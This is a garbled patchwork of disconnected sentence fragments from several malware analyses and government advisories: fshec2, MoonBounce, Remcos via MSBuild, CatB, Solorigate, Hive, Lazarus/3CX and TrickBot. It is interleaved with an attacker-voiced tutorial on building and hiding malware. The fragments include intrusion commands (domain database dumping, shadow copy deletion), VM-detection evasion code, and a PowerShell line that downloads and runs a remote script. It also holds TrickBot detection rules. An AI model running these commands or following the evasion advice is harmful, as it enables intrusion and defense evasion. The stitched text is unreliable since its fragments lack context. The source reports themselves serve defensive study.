During our continuous threat hunting efforts to find malware in open-source repositories, the ReversingLabs team encountered a novel attack that used compiled Python code to evade detection.

When byte code bites Who checks the contents of compiled Python files


Unusual behaviors ReversingLabs regularly scans open-source registers such as PyPi, npm, RubyGems, and GitHub looking for suspicious files.


Those suspicious behaviors extracted from the decompiled file included the presence of URLs that reference the host by IP address, as well as the creation of a process and execution of a file.


That includes the Material Tailwind and IconBurst campaigns, as well as the more recent campaign we identified distributing Havoc malware.


In fact, in May, the creation of new user accounts and projects on PyPI were temporarily suspended for a few hours due to a high volume of malicious activity.


One of the most popular obfuscation techniques is execution of Base64-encoded malicious code, which was first observed in campaigns related to W4SP authors in November 2022.


This innocent-seeming import of a function triggers a previously unseen loading technique inside the main.py file that avoids using the usual import directive, which is the simplest way to load a Python compiled module (and also something that is likely to get noticed.)


However, the library loaded by main.py was unchanged, meaning that the regular import function would have sufficed.


Figure 3: The decompiled code extracted from the full.pyc compiled byte code file showing the content of the get_path() method.


Figure 4: Code responsible for downloading cron_script file A misconfigured web host gives up the goods Given the malware’s reliance on remote C2 infrastructure, it made sense to scout out the web host used in the attack to get more information about the malware’s capabilities.


As it turned out, the web host had plenty to tell us!


For example, trying to access an invalid page on the web host did not generate a 404 “page not found” error, as you would expect.


Using the method described above, our researchers downloaded files with ID Nos. 1-18.


Finally, my team can’t exclude the possibility that there were other channels of distribution besides the fshec2 PyPI package that we haven’t encountered. Figure 7: Names of the files that can be downloaded Conclusion Even though this malicious package and the corresponding C2 infrastructure weren’t state of the art, they remind us how easy it is for malware authors to avoid detection based on source-code analysis.


Loader scripts such as those discovered in the fshec2 package contain a minimal amount of Python code and perform a simple action: loading of a compiled Python module.


Once that was accomplished, the suspicious and malicious functionality was easy to see.


That is why malware hidden inside the Python compiled byte code could slip under the radar of the traditional security solutions.


This includes detection of process creation, file execution, gathering of sensitive information, presence of IP addresses, and much more.


Other pieces of malware on the radar In addition to MoonBounce, we found infections across multiple nodes in the same network by a known user-mode malware dubbed ScrambleCross, also known as SideWalk.

MoonBounce the dark side of UEFI firmware


The first way is by executing a launcher utility with the filename System.Mail.Service.dll (MD5: 5F9020983A61446A77AF1976247C443D) through the command line as a service.


REG_EXPAND_SZ /d "$windir\Microsoft.


The second way to execute StealthMutant is through the creation of a scheduled task via a Windows batch script file named schtask.bat, as outlined below:@echo off cd /d


/LogToConsole


Mimikat_ssp: a publicly available post-exploitation tool used to dump credentials and security secrets from exe, also used widely by various Chinese-speaking actors (e.g. GhostEmperor, which we reported on).


In addition, we found several other victims of an undetermined nature with the same versions of ScrambleCross reaching out to the same command and control infrastructure.


"C: & cd \ & systeminfo" Copying of files across SMB shares, followed by an attempt to dump the Active Directory domain database (tid): cmd /C


i ntds\" \"ifm\" \"create full $temp\1\\\" q q >$temp\a.bat cmd /C


"C: & cd \ & type $temp\a.bat cmd /C


"arp -a >$temp\TS_P34H.tmp" $temp\TS_P61S.tmp -accepteula -d -s \\<redacted_internal_ip2>\ cmd /c "ping <redacted_internal_ip2> -a -n


/password:<readcted_password> process call create "cmd /c ping -n 1 -a <redacted_internal_ip4> >$temp\a.tmp wmic /node:<redacted_internal_ip2> /user:<redacted_group>\<redacted_user>


Note that the attackers maintained the infrastructure from at least March 2020, with some servers seemingly still active at the end of 2021 .


The Mimikat_ssp tool found on a few machines in the targeted network has been seen in use by multiple Chinese-speaking threat actors in the past.


Following previous predictions, we can now say that UEFI threats are gradually becoming a norm.


As a safety measure against this attack and similar ones, it is recommended to update the UEFI firmware regularly and verify that BootGuard, where applicable, is enabled.


The majority of the samples we analyzed deliver Remcos as the final payload.

Threat Actors Use MSBuild to Deliver RATs Filelessly


File Created in Startup Folder Following the creation of persistence, two large arrays of decimal bytes were decoded by the function shown in Figure 4. Figure 4 - Decoding Function Porting the decoding function to Python, we created a script (Figure 5 below).


[] position_array =


[] for position in list(range(256)): key_array.append(key[position % len(key)]) position_array.append(position)


= 0 new_array =


These were used to inject the payload into process memory.


Remcos has also been observed using its “Watchdog” feature to restart the RAT if it is terminated (Figure 12).


[5] “Remcos Instructions Manual,” Breaking Security, accessed May 4, 2021, published July 2018, https://breaking-security.net/wp-content/uploads/dlm_uploads/2018/07/Remcos-Instructions-Manual-rev19.pdf, 15-16.


Cobalt Strike has many different ways for deployment.


When this stage is reached, the best ways to detect the running Cobalt Strike code are through static signatures or genetic code analysis.


This attack was done by an APT group known as NOBELIUM (UNC2452) leveraging the “Orion” business software to distribute malware to private and public organizations.


The variant was named Raindrop by Symantec.


Intezer Analyze endpoint scan result for Raindrop loading and executing a fileless Cobalt Strike payload Living off the Land (LotL) Living off the Land (LotL) is the attack process of using legitimate and signed tools, usually provided within the operating system, to execute malware.


This type of tactic also makes incident response difficult, since analysts can’t just filter out known legitimate processes during triage.


An endpoint with a system injected with Cobalt Strike via MSBuild is shown below.


Note the process tree at the bottom indicating the “fileless code.


This process involves creation of a thread that sets up a named pipe for privilege escalation.


Using hash-based identification of Cobalt Strike is insufficient, since each payload will be encrypted with different keys and each configuration will uniquely change the hash value.


Strings for pipe names are dynamically generated and incorporate random numbers, meaning they can change every time the malware is executed.


You can also dive deeper into capabilities specific to the injected Cobalt Strike process.


IoCs tab showing file and network


In the past, tools such as Pafish (Paranoid Fish) have been used by Iranian actors in their tooling for virtual machine (VM) detection.


But once we analyzed these new samples, we observed a significant difference between them and the earlier campaign.

New RapperBot Campaign  We Know What You Bruting for this Time


In fact, it turns out that this campaign is less like RapperBot than an older campaign that appeared in February and then mysteriously disappeared in the middle of April.


Here are the DoS attack commands supported by this botnet: 0x00: Generic UDP flood 0x01: TCP SYN flood 0x02: TCP ACK flood 0x03: TCP STOMP flood 0x04: UDP SA:MP flood targeting game servers running GTA San Andreas:


Moreover, it specifically checks and stops its self-propagation if the device is detected to be running on Intel processors.


The bot then downloads its payload via software installed on the compromised device, such as ftpget, wget, curl, or tftp, before executing the payload.


If none of the software mentioned above is installed, it will extract and send an embedded binary downloader to the compromised device that executes and downloads the primary payload.


As labeled in Figure 4, each binary has a hardcoded URL for downloading the payload binary of the proper architecture.


The similar lists of credentials suggest that the threat actor behind this current campaign has access to the source code for the earlier campaign, as this code was not found in other IoT malware samples.


Key-Based Authentication: AsyncSSH supports public key authentication, allowing you to authenticate with SSH servers using key pairs instead of passwords.

Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1


The library follows an event-driven programming model, allowing you to register event handlers and callbacks to handle SSH-related events such as connection establishment, authentication, command execution, and data transfer.


To avoid raising suspicion and maintaining a higher level of control over the server setup, it is recommended to use a self-hosted server instead of Ngrok.


["vmsrvc.exe", "vmusrvc.exe", "vboxservice.exe", "vboxtray.exe", "vmtoolsd.exe", "vmacthlp.exe", "vmtools.exe", "df5serv.exe"] running_processes = subprocess.check_output("tasklist", shell=True).decode().lower()


If the local IP address matches any of the addresses in the list, it suggests that the program could be ran in a sandboxed environment.


["hypervisor", "vmx", "svm", "vmm", "nx"] if any(feature in cpu_info["flags"] for feature in virtualized_cpu_features): return True


To enhance control, we could also incorporate a dedicated function that checks for the removal of the pub_key: if such a detection occurs, then proceed to initiate the removal of its own presence or any existing persistence mechanisms.


Additionally, we could incorporate a special Canary Token within our script: Canary tokens are unique markers that are placed within systems or scripts to act as early warning indicators.


In this case we received an email alerting us of the event.


def fernet_decrypt(encrypted_string, password): """Decrypt Ngrok AUTH Token""" try: key = generate_key_from_password(password) cipher = Fernet(key) decrypted_message = cipher.decrypt(encrypted_string) return decrypted_message.decode() except: exit('[-]


Error: Could not decrypt AUTH Token') def get_auth_token(): """Get AUTH Token from third party service""" try:


url = "https://pastebin.com/raw/YYYYYY" r = requests.get(url) if r.status_code == 200: password_for_decrypt = 'P4ssw0rd!'


# Here we could insert a request to a canary token to be notified of the event if the file is not found # - for persistence purpose - exit() # So Long, and Thanks for All the Fish!


Performance: Nuitka Compiler aims to generate highly optimized C/C++ code, which can result in improved performance compared to interpreted Python code.


Reduced Dependencies: By compiling Python code into standalone executables, Nuitka Compiler eliminates the need for the target system to have a Python interpreter installed.


We can proceed to test this under the presence of Windows Defender, ensuring that all settings, including Cloud Protection and Antitamper modes are enabled.


It also demands continuous research and adaptation as antivirus technologies evolve.


While higher-level languages like Python offer ease of use and rapid development, the power and control provided by lower-level languages are paramount in the realm of sophisticated malware: one of the primary reasons for choosing C and C++ is the level of control they provide over system resources and hardware.


Building capabilities consist of creating custom payloads, post-compromise and remote access tool development, creating infected removable media, and similar techniques.


Several tools are available to create an initial payload, such as a self-extracting archive (SFX).


A classic technique used mostly by Advanced Persistent Threat (APT) groups is the use of LNK files when delivering malware: shortcut files that point to other files.


Attackers are using LNK files to download malware or other malicious files by leveraging legitimate native apps, such as PowerShell.


An ounce of practice is worth more than tons of preaching Gandhi After theory, comes practice!


Net.


ShellExecute($file)


Here’s what each line does: $down = New-Object System.


WebClient


$exec = New-Object -ComObject shell.application This line creates a new Shell.


However, to add an extra layer of complexity and challenge for malware analysts, we will apply some obfuscation techniques using a helpful tool like Chameleon: https://github.com/klezVirus/chameleon This tool has been developed as a Python port of the Chimera project, by tokioneon_.


But we’ll see how to bypass this.


Net.WebClient).DownloadString('https://example.com/ReflectivePEInjection.ps1') | IEX $remoteUrl = "https://transfersh.com/XXXXXXX/whatever.exe" $webClient = New-Object System.


However when AMSI (Antimalware Scan Interface) is activated, it will alert us, as mentioned before.


Conclusion The first part of this article concludes here, however, our exploration doesn’t end here!


In the next upcoming article, we will dive deep into the intricacies of bypassing AMSI, unraveling detailed techniques and methods that will empower us to evade it.


Angry 0 0 % Surprise 0 0 %


As a result, the system will inject the malicious oci.dll into the service’s executable (msdtc.exe) when the MSDTC service is restarted.

CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking


In addition to the hardcoded exclusions, the local disk volumes to be encrypted are also configured in a similar manner.


Once encrypted, there is no blatant indicator – no separate ransom note dropped, no change to the desktop wallpaper, and no antagonizing file extensions.


Ransom note appended to head of encrypted file (catb991 variation)


Variations of CatB Threat Campaigns Samples pulled from a November 2022 campaign feature a different contact email address, fishA001[@]protonmail.com.


We have also encountered variations which include both email addresses.


These ransom notes display all the same features minus the BTC payment address.


These behaviors appear to be implemented in the interest of detection evasion and some level of anti-analysis trickery.


This is not the case with CatB. Despite that, the threat lacks in overall sophistication, and a modern, properly configured, XDR/EDR solution should alert quickly upon initiation of a CatB attack in the environment.


Therefore, insertion of malicious code into the SolarWinds.Orion.Core.BusinessLayer.dll likely occurred at an early stage, before the final stages of the software build, which would include digitally signing the compiled code.

Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers


For example, the inserted malicious code is lightweight and only has the task of running a malware-added method in a parallel thread such that the DLL’s normal operations are not altered or interrupted.


BackgroundInventory.


Among those tasks is Background Inventory, which ultimately starts the malicious code.


At first glance, the code in this DLL looks normal and doesn’t raise suspicions, which could be part of the reason why the insertion of malicious code was undetected for months, especially if the code for this DLL was not frequently updated.


Figure 5: Example of obfuscated strings Initial reconnaissance The Initialize method is the de facto execution entry point of the backdoor.


It checks that the last write-time of the malicious DLL is at least 12 to 14 days earlier It delays execution by random amounts of time


It verifies that the domain name of the current device meets the following conditions: The domain must not contain certain strings; the check for these strings is implemented via hashes, so at this time the domain names that are block-listed are unknown The domain must not contain “solarwinds” The domain must not match the regular expression (?i)([^a-z]|^)(test)([^a-z]|$), or in simpler terms, it must not look like a test domain It checks that there are no running processes related to security-related software (e.g., Windbg, Autoruns, Wireshark)


In its first step, the backdoor initiates a connection to a predefined C2 server to report some basic information about the compromised system and receive the first commands.


The C2 domain is composed of four different parts: three come from strings that are hardcoded in the backdoor, and one component is generated dynamically based on some unique information extracted from the device.


This means that every affected device generates a different subdomain to contact (and possibly more than one).


(name=”Domain Admins”) member -list | csrss.exe -h breached.contoso.com -f


“C:\Windows\SoftwareDistribution\EventCacheManager.exe” /sc ONSTART /ru system /S


The backdoor also allows the attackers to deliver second-stage payloads, which are part of the Cobalt Strike software suite.


We continue to investigate these payloads, which are detected as Trojan:Win32/Solorigate.A!dha, as the situation continues to unfold.


More importantly, the ability to correlate signals through AI could surface more evasive attacker activity.


The detections, however, provide visibility into the attack activity.


Security operations teams can then hunt using this rich threat data and gain insights for hardening networks from compromise.


It quarantines malware, even if the process is running.


Detection for backdoored SolarWinds.Orion.Core.BusinessLayer.dll files: Trojan:MSIL/Solorigate.


SA!dha Detection for the PowerShell payload that grabs hashes and SolarWinds passwords from the database along with machine information: Trojan:PowerShell/Solorigate.


H!dha Figure 9.


Microsoft Defender for Endpoint prevented malicious binaries Endpoint detection and response (EDR)


Microsoft Defender for Endpoint alert description and recommended actions for possible attempt to access ADFS key material Our ability to deliver these protections through our security technologies is backed by our security experts who immediately investigated this attack and continue to look into the incident as it develops.


Threat analytics report We published a comprehensive threat analytics report on this incident.


Microsoft Defender Antivirus detects this compromised DLL as Trojan:MSIL/Solorigate.


This then delivers a malicious payload via a PowerShell downloader script.

Horabot campaign targeted businesses for more than two years before finally being discovered


second element of this botnet campaign involves the use of a spam tool, researchers explained.


Prioritize remediating known exploited vulnerabilities.


Victims of ransomware operations should report the incident to their local FBI field office or CISA.


From June 2021 through at least November 2022, threat actors have used Hive ransomware to target a wide range of businesses and critical infrastructure sectors, including Government Facilities, Communications, Critical Manufacturing, Information Technology, and especially Healthcare and Public Health (HPH).


Hive actors have gained initial access to victim networks by using single factor logins via Remote Desktop Protocol (RDP), virtual private networks (VPNs), and other remote network connection protocols [T1133].


[T1059] [T1490].


During the encryption process, a file named *.key (previously *.key.


*) is created in the root directory (C:\ or /root/).


link accessible through a TOR browser, enabling victim organizations to contact the actors through a live chat panel to discuss payment for their files.


Hive actors negotiate ransom demands in U.S. dollars, with initial amounts ranging from several thousand to millions of dollars.


SHADOWCOPY /nointeractive wmic.exe shadowcopy delete bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures bcdedit.exe /set {default} recoveryenabled no Table 3:


Potential IOC IP Addresses as of November 2022 Note: Some of these observed IP addresses are more than a year old.


Table 4: Hive Actors ATT&CK Techniques for Enterprise Initial Access Technique Title ID Use External Remote Services T1133 Hive actors gain access to victim networks by using single factor logins via RDP, VPN, and other remote network connection protocols.


Exploit Public-Facing Application T1190 Hive actors gain access to victim network by exploiting the following Microsoft Exchange vulnerabilities: CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, CVE-2021-42321.


Install updates for operating systems, software, and firmware as soon as they are released.


Consider leveraging a centralized patch management system to automate and expedite the process.


If used, secure and monitor RDP.


By instituting this practice, the organization ensures they will not be severely interrupted, and/or only have irretrievable data.


, Monitor cyber threat reporting regarding the publication of compromised VPN login credentials and change passwords/settings if applicable.


Power-off and segregate (i.e., remove from the network) the infected computer(s).


If possible, collect and secure all infected and potentially infected computers and devices in a central location, making sure to clearly label any computers that have been encrypted.


Implement multiple failed login attempt account lockouts.


Privilege escalation and lateral movement often depend on software utilities running from the command line.


REFERENCES Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts.


However, the FBI, CISA, and HHS understand that when businesses are faced with an inability to function, executives will evaluate all options to protect their shareholders, employees, and customers.


Operation DreamJob is the name for a series of campaigns where the group uses social engineering techniques to compromise its targets, with fake job offers as the lure.

Linux malware strengthens links between Lazarus and the 3CX supplychain attack


In this case, we were able to reconstruct the full chain, from the ZIP file that delivers a fake HSBC job offer as a decoy, up until the final payload: the SimplexTea Linux backdoor distributed through an OpenDrive cloud storage account.


Additionally, this discovery helped us confirm with a high level of confidence that the recent 3CX supply-chain attack was in fact conducted by Lazarus – a link that was suspected from the very beginning and demonstrated by several security researchers since.


It provides client software to use its systems via a web browser, mobile app, or a desktop application.


Late in March 2023, it was discovered that the desktop application for both Windows and macOS contained malicious code that enabled a group of attackers to download and run arbitrary code on all machines where the application was installed.


The intermediate stages are downloaders for Windows and macOS that we denote as IconicLoaders, and the payloads they get as IconicStealer and UpdateAgent, respectively.


This is because the apparent dot character in the filename is a leader dot represented by the U+2024 Unicode character.


The use of the leader dot in the filename was probably an attempt to trick the file manager into treating the file as an executable instead of a PDF.


On execution, a decoy PDF is displayed to the user using xdg-open, which will open the document using the user’s preferred PDF viewer (see Figure 3).


We call this second-stage backdoor SimplexTea.


How is sysnetd related to Lazarus?


BADCALL for Linux We attribute sysnetd to Lazarus because of its similarities with the following two files (and we believe that sysnetd is a Linux variant of the group’s backdoor for Windows called BADCALL):


Loading a configuration file by BADCALL for Linux, cf.


The decryption routine shared between the BADCALL for Linux and targeted destructive malware for Windows from 2014 Additional attribution data points To recap what we’ve covered so far, we attribute the 3CX supply-chain attack to the Lazarus group with a high level of confidence.


This is based on the following factors: Malware (the intrusion set): The IconicLoader (samcli.dll) uses the same type of strong encryption – AES-GCM – as SimplexTea (whose attribution to Lazarus was established via the similarity with BALLCALL for Linux); only the keys and initialization vectors differ.


Figure 6 Infrastructure: There is shared network infrastructure with SimplexTea, as it uses https://journalide[.]org/djour.php as it C&C, whose domain is reported in the official results of the incident response of the 3CX compromise by Mandiant.


The stealthiness of a supply-chain attack makes this method of distributing malware very appealing from an attacker’s perspective.


Similarities with existing malware from the Lazarus toolset and with the group’s typical techniques strongly suggest the recent 3CX compromise is the work of Lazarus as well.


It is also interesting to note that Lazarus can produce and use malware for all major desktop operating systems: Windows, macOS, and Linux.


EA ZIP archive with a Linux payload, from VirusTotal.


E PE compilation timestampN/A


First seen2023-02-01 23:47:05 MD5AAC5A52B939F3FE792726A13FF7A1747 SHA-1F6760FB1F8B019AF2304EA6410001B63A1809F1D SHA-256CC307CFB401D1AE616445E78B610AB72E1C7FB49B298EA003DD26EA80372089A Filenamesysnetd DescriptionBADCALL for Linux.


C&Ctcp://23.254.211[.]230 Downloaded fromN/A DetectionLinux/NukeSped.


Resource DevelopmentT1584.001Acquire Infrastructure:


DomainsUnlike many previous cases of compromised C&Cs used in Operation DreamJob, Lazarus operators registered their own domain for the Linux target.


T1587.001Develop Capabilities: MalwareCustom tools from the attack are very likely developed by the attackers.


Symmetric CryptographySimplexTea encrypts C&C traffic using the AES-GCM algorithm.


Over C2 ChannelSimplexTea can exfiltrate data as ZIP archives to its C&C server.


<= 14} 20 Apr 2023 - 11:30AM


The Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI) have observed continued targeting through spearphishing campaigns using TrickBot malware in North America.


Phishing: Spearphishing Link


(User Execution: Malicious Link [T1204.001], User Execution: Malicious File [T1204.002]).


Additionally, some of TrickBot’s modules spread the malware laterally across a network by abusing the Server Message Block (SMB) Protocol.


Spearphishing Attachment T1566.001 TrickBot has used an email with an Excel sheet containing a malicious macro to deploy the malware.


Obfuscated Files or Information: Software Packing T1027.002 TrickBot leverages a custom packer to obfuscate its functionality.


Deobfuscate/Decode Files or Information T1140 TrickBot decodes the configuration data and modules.


Additionally, it searches for the .vnc.lnk affix to steal VNC credentials.


Remote System Discovery T1018 TrickBot can enumerate computers and network devices.


System Owner/User Discovery T1033 TrickBot can identify the user and groups the user belongs to on a compromised host.


Account Discovery: Local Account T1087.001 TrickBot collects the users of the system.


Account Discovery: Email Account T1087.003 TrickBot collects email addresses from Outlook.


Collection [TA0009] Technique Tactic ID Use Data from Local System T1005 TrickBot collects local files and information from the victim’s local machine.


Data Encoding: Standard Encoding T1132.001 TrickBot can Base64-encode C2 commands.


"; sid:1; rev:1; flow:established,to_server; content:"User-Agent|3a 20|WinHTTP loader/1."; http_header; fast_pattern:only; content:".png|20|HTTP/1."; pcre:"/^Host\x3a\x20(?:\d{1,3}\.){3}\d{1,3}(?:\x3a\d{2,5})?$/mH"; content:!"Accept"; http_header; content:!"Referer|3a 20|"; http_header; classtype:bad-unknown; metadata:service http;) alert tcp any $HTTP_PORTS -> any any (msg:"TRICKBOT:HTTP Server Header contains 'Server|3a 20|Cowboy'"; sid:1; rev:1; flow:established,from_server; content:"200"; http_stat_code; content:"Server|3a 20|Cowboy|0d 0a|"; http_header; fast_pattern; content:"content-length|3a 20|3|0d 0a|"; http_header; file_data; content:"/1/"; depth:3; isdataat:!1,relative; classtype:bad-unknown; metadata:service http;) alert tcp any any -> any $HTTP_PORTS (msg:"TRICKBOT:HTTP URI POST contains C2 Exfil"; sid:1; rev:1; flow:established,to_server; content:"Content-Type|3a 20|multipart/form-data|3b 20|boundary=------Boundary"; http_header; fast_pattern; content:"User-Agent|3a 20|"; http_header; distance:0; content:"Content-Length|3a 20|"; http_header; distance:0; content:"POST"; http_method; pcre:"/^\/[a-z]{3}\d{3}\/.+?\.[A-F0-9]{32}\/\d{1,3}\//U"; pcre:"/^Host\x3a\x20(?:\d{1,3}\.){3}\d{1,3}$/mH"; content:!"Referer|3a|"; http_header; classtype:bad-unknown; metadata:service http;) alert tcp any any -> any $HTTP_PORTS (msg:"HTTP URI GET/POST contains '/56evcxv' (Trickbot)"; sid:1; rev:1; flow:established,to_server; content:"/56evcxv"; http_uri; fast_pattern:only; classtype:bad-unknown; metadata:service http;) alert icmp any any -> any any (msg:"TRICKBOT_ICMP_ANCHOR:ICMP traffic conatins 'hanc'"; sid:1; rev:1; itype:8; content:"hanc"; offset:4; fast_pattern; classtype:bad-unknown;) alert tcp any any -> any $HTTP_PORTS (msg:"HTTP Client Header contains POST with 'host|3a 20|*.onion.link' and 'data=' (Trickbot/Princess Ransomeware)"; sid:1; rev:1; flow:established,to_server; content:"POST"; nocase; http_method; content:"host|3a 20|"; http_header; content:".onion.link"; nocase; http_header; distance:0; within:47; fast_pattern; file_data; content:"data="; distance:0; within:5; classtype:bad-unknown; metadata:service http;) alert tcp any any -> any $HTTP_PORTS (msg:"HTTP Client Header contains 'host|3a 20|tpsci.com' (trickbot)"; sid:1; rev:1; flow:established,to_server; content:"host|3a 20|tpsci.com"; http_header; fast_pattern:only; classtype:bad-unknown; metadata:service http;) MitigationsCISA and FBI recommend that network defenders—in federal, state, local, tribal, territorial governments, and the private sector—consider applying the following best practices to strengthen the security posture of their organization's systems.


Ensure that such technology only allows authorized, digitally signed scripts to run on a system.


Disable the use of SMBv1 across the network and require at least SMBv2 to harden systems against network propagation modules used by TrickBot.


See CISA’s Alert on Technical Approaches to Uncovering and Remediating Malicious Activity for more information on addressing potential incidents and applying best practice incident response procedures.


For additional information on malware incident prevention and handling, see the National Institute of Standards and Technology Special Publication 800-83, Guide to Malware Incident Prevention and Handling for Desktops and Laptops.